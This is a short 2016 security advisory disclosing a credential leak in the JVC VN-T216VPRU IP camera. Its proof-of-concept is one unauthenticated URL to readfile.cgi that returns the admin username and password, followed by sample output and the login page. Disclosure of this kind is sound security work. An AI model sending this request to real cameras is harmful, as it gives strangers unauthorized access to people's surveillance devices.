JVC IP-Camera VN-T216VPRU Credential Disclosure

`1. Advisory Information  
========================================  
Title : JVC IP-Camera (VN-T216VPRU) Remote Credentials Disclosure  
Vendor Homepage : http://pro.jvc.com/  
Remotely Exploitable : Yes  
Tested on Camera types : VN-T216VPRU  
Product References : http://pro.jvc.com/prof/attributes/features.jsp?model_id=MDL102145  
Vulnerability : Username / Password Disclosure (Critical/High)  
Date : 19/08/2016  
Author : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)  
  
  
2. CREDIT  
========================================  
This vulnerability was identified during penetration test by Yakir Wizman.  
  
  
3. Description  
========================================  
JVC IP-Camera (VN-T216VPRU) allows to unauthenticated user disclose the username & password remotely by simple request which made by browser.  
  
  
4. Proof-of-Concept:  
========================================  
Simply go to the following url:  
http://host:port/cgi-bin/readfile.cgi?query=ADMINID  
  
Should return some javascript variable which contain the credentials and other configuration vars:  
var Adm_ID="admin"; var Adm_Pass1=aadmina; var Adm_Pass2=aadmina; var Language=aena; var Logoff_Time="0";   
  
-----------------------------------------------  
  
Login @ http://host:port/cgi-bin/chklogin.cgi  
  
  
5. SOLUTION  
========================================  
Contact the vendor for further information regarding the proper mitigation of this vulnerability.  
  
`